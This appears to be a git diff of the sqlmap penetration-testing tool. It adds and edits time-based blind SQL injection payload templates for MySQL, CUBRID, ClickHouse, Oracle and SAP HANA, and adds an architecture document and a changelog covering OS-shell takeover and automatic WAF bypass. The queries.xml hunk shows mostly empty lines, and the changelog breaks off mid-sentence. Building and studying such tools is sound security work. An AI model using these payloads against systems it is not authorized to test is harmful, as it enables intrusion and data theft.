+ OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -339,9 +339,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) @@ -359,9 +359,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) # @@ -380,9 +380,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -400,9 +400,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -421,9 +421,9 @@ 1 1,2,3,8,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -441,9 +441,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -460,9 +460,9 @@ 1 1,2,3,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -480,9 +480,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -1092,6 +1092,45 @@ + + CUBRID AND time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,8,9 + 1 + + AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ + + CUBRID OR time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ Firebird >= 2.0 AND time-based blind (heavy query) 5 @@ -1494,6 +1533,44 @@ + + ClickHouse AND time-based blind (sleepEachRow) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (sleepEachRow) + 5 + 5 + 3 + 1,2,3 + 2 + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+
+ ClickHouse AND time-based blind (heavy query) 5 @@ -1586,9 +1663,9 @@ 1 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) @@ -1606,9 +1683,9 @@ 1 1,2,3,9 3 - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -1626,9 +1703,9 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) @@ -1666,9 +1743,9 @@ 1 1,2,3,9 3 - ([INFERENCE] AND SLEEP([SLEEPTIME])) + ([INFERENCE] AND !SLEEP([SLEEPTIME])) - ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME])) + ([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME])) @@ -1685,9 +1762,9 @@ 1 1,2,3,9 3 - ELT([INFERENCE],SLEEP([SLEEPTIME])) + ELT([INFERENCE],!SLEEP([SLEEPTIME])) - ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -1704,9 +1781,9 @@ 1 1,2,3,9 3 - MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME])) - MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -1776,6 +1853,26 @@ + + + Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 1,3,9 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 @@ -1980,9 +2077,9 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) @@ -2072,6 +2169,25 @@ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 @@ -2170,5 +2286,82 @@ + + SAP HANA AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + -- + + + + +
+ SAP HANA +
+
+ + + SAP HANA time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 5196459cc33..e2fb53db9fc 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -20,6 +20,9 @@ + + + @@ -35,8 +38,8 @@ - - + + @@ -47,6 +50,10 @@ + + + + @@ -61,7 +68,8 @@ - + + @@ -78,7 +86,7 @@ - + @@ -96,6 +104,9 @@ + + + @@ -114,14 +125,22 @@ - - + + + + + + + + + + @@ -136,7 +155,8 @@ - + + @@ -153,8 +173,8 @@ - - + + @@ -170,6 +190,9 @@ + + + @@ -193,6 +216,11 @@ + + + + + @@ -202,12 +230,13 @@ - - + + - + + @@ -244,6 +273,9 @@ NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php) --> + + + + + + + - - + + @@ -302,7 +339,8 @@ - + + @@ -338,6 +376,9 @@ + + + @@ -362,7 +403,7 @@ - + @@ -418,8 +459,8 @@ - - + + @@ -442,16 +483,16 @@ - - + + - - + + @@ -463,7 +504,7 @@ - + @@ -533,8 +574,8 @@ - - + + @@ -548,7 +589,7 @@ - + @@ -576,16 +617,16 @@ - + - + - + @@ -602,9 +643,9 @@ - - - + + + @@ -616,11 +657,11 @@ - + - + @@ -648,8 +689,8 @@ - - + + @@ -657,19 +698,19 @@ - + - - + + - - + + @@ -726,7 +767,8 @@ - + + @@ -790,7 +832,8 @@ - + + @@ -917,7 +960,7 @@ - + @@ -925,7 +968,7 @@ - + @@ -935,8 +978,8 @@ - - + + @@ -976,7 +1019,7 @@ - + @@ -1002,7 +1045,7 @@ - + @@ -1026,7 +1069,7 @@ - + @@ -1134,11 +1177,11 @@ - - /> - + + + - + @@ -1214,7 +1257,7 @@ - + @@ -1235,7 +1278,7 @@ - + @@ -1321,8 +1364,9 @@ - + + @@ -1343,7 +1387,7 @@ - + @@ -1424,7 +1468,7 @@ - + @@ -1445,7 +1489,8 @@ - + + @@ -1484,7 +1529,7 @@ - + @@ -1507,12 +1552,12 @@ - - + + - + @@ -1523,8 +1568,8 @@ - - + + @@ -1623,7 +1668,7 @@ - + @@ -1680,7 +1725,7 @@ - + @@ -1713,6 +1758,7 @@ + @@ -1752,6 +1798,7 @@ + @@ -1803,13 +1850,14 @@ + - + @@ -1843,4 +1891,140 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 00000000000..447ee46cd6d --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,255 @@ +# sqlmap architecture + +A contributor-oriented map of how sqlmap is put together: the major components, +how a run flows through them, and where to start looking for a given concern. + +> This is a map, not a spec. It describes the durable structure and data flow; for +> exact signatures, option names, and enumerable lists (tampers, DBMSes, options), +> the source is authoritative. **When this document disagrees with the code, the code wins.** + +sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal +non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and +`thirdparty/six`. + +--- + +## 1. Entry points + +| Entry | File | Purpose | +|-------|------|---------| +| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. | +| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. | +| Library | `import sqlmap` -> `lib/utils/library.py` | `scan()` / `scanFromRequest()` for programmatic callers; like the API, it drives the engine as a subprocess. | + +`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for +quirks/security - see below), `setPaths()`, `init()` (option parsing + environment +setup), then dispatches to `start()` for a normal scan, or to the self-tests +(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`. + +--- + +## 2. Global state: `conf` and `kb` + +Almost everything hangs off two process-global singletons defined in `lib/core/data.py`, +both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`): + +- **`conf`** - the resolved user configuration (options + derived settings). What the + user asked for. +- **`kb`** ("knowledge base") - mutable runtime state discovered during a run + (identified DBMS, injection points, page templates, caches, locks, counters). + +The configuration pipeline (`lib/core/`): + +- `parse/cmdline.py` - argparse definition of every CLI option. +- `core/optiondict.py` - option name -> type map (used for config-file/API coercion). +- `core/defaults.py` - default values. +- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`, + `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding + setup, etc. Merges CLI + config file + defaults into `conf`/`kb`. +- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.** + +Identifiers in the codebase are camelCase. + +--- + +## 3. Top-level layout + +| Path | Responsibility | +|------|----------------| +| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing | +| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) | +| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing | +| `lib/techniques/` | the exploitation engines: `blind/{inference,multibit}.py`, `error/use.py`, `union/{test,use}.py`, `dns/`, plus one directory per non-SQL family (`ssti/`, `nosql/`, `xpath/`, ...) | +| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) | +| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... | +| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` | +| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes | +| `plugins/dbms//` | per-DBMS subclasses + dialect (one dir per supported DBMS) | +| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file | +| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | +| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | +| `tests/` | stdlib-unittest suite (offline); see section 11 | +| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime | +| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | + +--- + +## 4. The scan lifecycle (`lib/controller/controller.py: start()`) + +For each target: + +1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`): + resolve URL/params, open the per-target output dir and session file + (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points, + cached values) from the session. +2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`, + `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` / + dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`). +3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint). +4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by + the data engine (section 5). Confirmed points are appended to `kb.injections`. +5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the + back-end DBMS and assigns `conf.dbmsHandler`, the object through which all + enumeration is dispatched (section 7). +6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation + (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to + `conf.dbmsHandler` methods, and feeds results to `conf.dumper`. + +If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`, +`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as +`SqlmapNotVulnerableException`. + +--- + +## 5. The data-driven detection engine + +Detection behavior lives in **data, not code** - `data/xml/`, loaded by +`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`): + +- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the + clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts). +- **`payloads/*.xml`** - the *tests*, one file per technique + (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`, + `union_query`), each with the request template and the comparison/grep logic that + decides success. + +`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the +identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`) +forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/ +`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via +`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false +by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`, +plus titles/errors/HTTP-code signals). + +--- + +## 6. Exploitation techniques + +Once a parameter is injectable, value extraction is dispatched by +`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`: + +| Technique | Engine | Mechanism | +|-----------|--------|-----------| +| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle | +| multi-bit blind (`--multi-bit`) | `blind/multibit.py` | opt-in; reads several bits per request out of the rows a listing page renders | +| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay | +| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error | +| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction | +| inline query | (inline, via inject) | value embedded in the original query position | +| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel | + +`bisection()` is the hot loop; it caches the `--charset` table in +`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch +(intentional). Multi-threaded extraction is coordinated via `kb.locks` and +`getCurrentThreadData()` (`lib/core/threads.py`). + +**Non-SQL engines.** `--nosql`, `--xpath`, `--ldap`, `--ssti`, `--graphql`, `--hql`, `--sparql`, +`--odata`, `--xslt`, `--xxe` and `--jwt` do not go through the pipeline above at all. Each one is a +self-contained scanner in `lib/techniques//inject.py`, dispatched from `controller.py` and +registered once in `NONSQL_TECHNIQUES` (`lib/core/settings.py`) - that tuple is what the rest of the +code tests against, so a new family is declared there and nowhere else. The response comparison, +reflection stripping and blind-bit classification they all need live in `lib/utils/nonsql.py` +instead of being copied per family. + +--- + +## 7. DBMS abstraction + +Enumeration is DBMS-agnostic at the top and specialized underneath: + +- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`, + `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`, + `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py` + (direct DB connection for `-d`). +- **`plugins/dbms//`** - one directory per supported DBMS, subclassing the generic + pieces and supplying dialect specifics. +- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table + enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name; + the dialect comes from XML. It also carries the per-DBMS `` - side-effecting scalar + expressions (e.g. PostgreSQL `dblink_exec`) that `getGadget()` (`lib/request/inject.py`) probes + once and caches in `kb.gadget`, so `--sql-query` / `--file-write` / `--os-cmd` still work from an + injection point that has no stacked queries. + +`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into. + +--- + +## 8. Output and session + +- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables + plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging + is via `logger` (`lib/core/log.py`). +- **Session / resume** - each target gets a SQLite session file + (`//session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()` + (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points, + fingerprint, and extracted values so a re-run *resumes* instead of re-testing + (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A + stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`. + +--- + +## 9. Request layer and tampering + +`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: +protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, +persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the +comparison oracle (`comparison.py`). Alternative transports hang off the same chokepoint: the +standard-library HTTP/2 client (`http2.py`, `--http2`, which also carries the `--timeless` oracle in +`timeless.py`) and WebSocket targets (`websocket.py`). + +**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. +Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c` +chains them in priority order. They are payload-string transforms only (no engine +coupling), which is why they compose freely. When a WAF/IPS is identified, `lib/utils/wafbypass.py` +ranks the plausible candidates and `_autoWafBypass()` (`controller.py`) trials them one at a time - +a candidate is adopted only if re-running the detection through it brings the injection back. + +--- + +## 10. REST API and JSON report + +`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as +subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry), +an IPC SQLite `Database` (the subprocess writes results/logs/errors back through +`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...). +The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`. + +`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`) +that the `/scan//data` endpoint uses, so the CLI report and the API result can't +drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer). + +--- + +## 11. Tests and self-tests + +Two complementary layers: + +- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip), + green on py2 + py3. `_testutils.py` bootstraps global state and provides the + property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run: + `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc` + makes a `getFileType(__file__)` doctest see `binary`). +- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test` + (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against + the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow + (`.github/workflows/tests.yml`) runs all of these. + +--- + +## 12. "Where do I start for ...?" + +| I want to change... | Start in | +|---------------------|----------| +| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) | +| a constant/threshold | `lib/core/settings.py` | +| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` | +| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine | +| a non-SQL technique (SSTI, NoSQL, XPath, ...) | `lib/techniques//inject.py` (+ `NONSQL_TECHNIQUES` in `settings.py`) | +| the true/false decision | `lib/request/comparison.py` | +| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms//` | +| enumeration behavior | `plugins/generic/*.py` | +| dump/output format | `lib/core/dump.py` | +| a WAF-bypass transform | add a file under `tamper/` | +| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) | +| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` | +| a stdlib monkey-patch / security shim | `lib/core/patch.py` | diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dada8fb47e0..4f3f2f6038c 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,115 @@ +# Version 2.0 (WIP) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master) + +## Injection techniques + +* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds. +* Added the switch `--xpath`. It tests for XPath injection. +* Added the switch `--ldap`. It tests for LDAP injection. +* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL. +* Added the switch `--graphql`. It tests for GraphQL injection. +* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection. +* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph. +* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return. +* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands. +* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels. +* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims. +* sqlmap now offers to get around a WAF/IPS on its own. Once it identifies one and the ordinary payloads come back blocked, it drops the scanner fingerprint and tries the tamper scripts that suit that WAF, and it keeps the first one that brings the injection back. + +## Speed + +* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable. +* Added the switch `--multi-bit`. On a page that renders rows, one request reads a bit from each row that comes back instead of a single bit altogether. +* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it. +* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it. +* Added parallel retrieval of values in blind mode. Each thread retrieves a different value. +* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it. +* Added the reuse of HTTP/2 connections. +* Added the switch `--lengths`. It compares the pages only by the content length. +* Made the HashDB operations faster. +* Made the tamper script `luanginxmore` much faster. + +## Targets and results + +* Added the option `--openapi`. It makes the list of targets from an 